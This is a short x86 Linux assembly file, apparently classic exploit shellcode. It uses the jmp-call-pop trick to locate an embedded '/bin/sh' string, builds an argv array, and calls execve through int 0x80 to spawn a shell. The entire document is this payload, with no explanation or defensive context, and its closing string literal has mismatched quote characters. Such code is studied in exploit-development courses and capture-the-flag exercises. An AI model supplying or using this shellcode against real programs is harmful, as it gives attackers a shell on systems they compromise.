Section     .text
    global _start
_start:
    jmp short      GotoCall
shellcode:
     pop            esi
     xor            eax, eax
     mov  byte      [esi + 7], al
     lea            ebx, [esi]
     mov  long      [esi + 8], ebx
     mov  long      [esi + 12], eax
     mov  byte      al, 0x0b
     mov            ebx, esi
     lea            ecx, [esi + 8]
     lea            edx, [esi + 12]
     int            0x80
GotoCall:
     Call            shellcode
     db             `/bin/shJAAAAKKKK'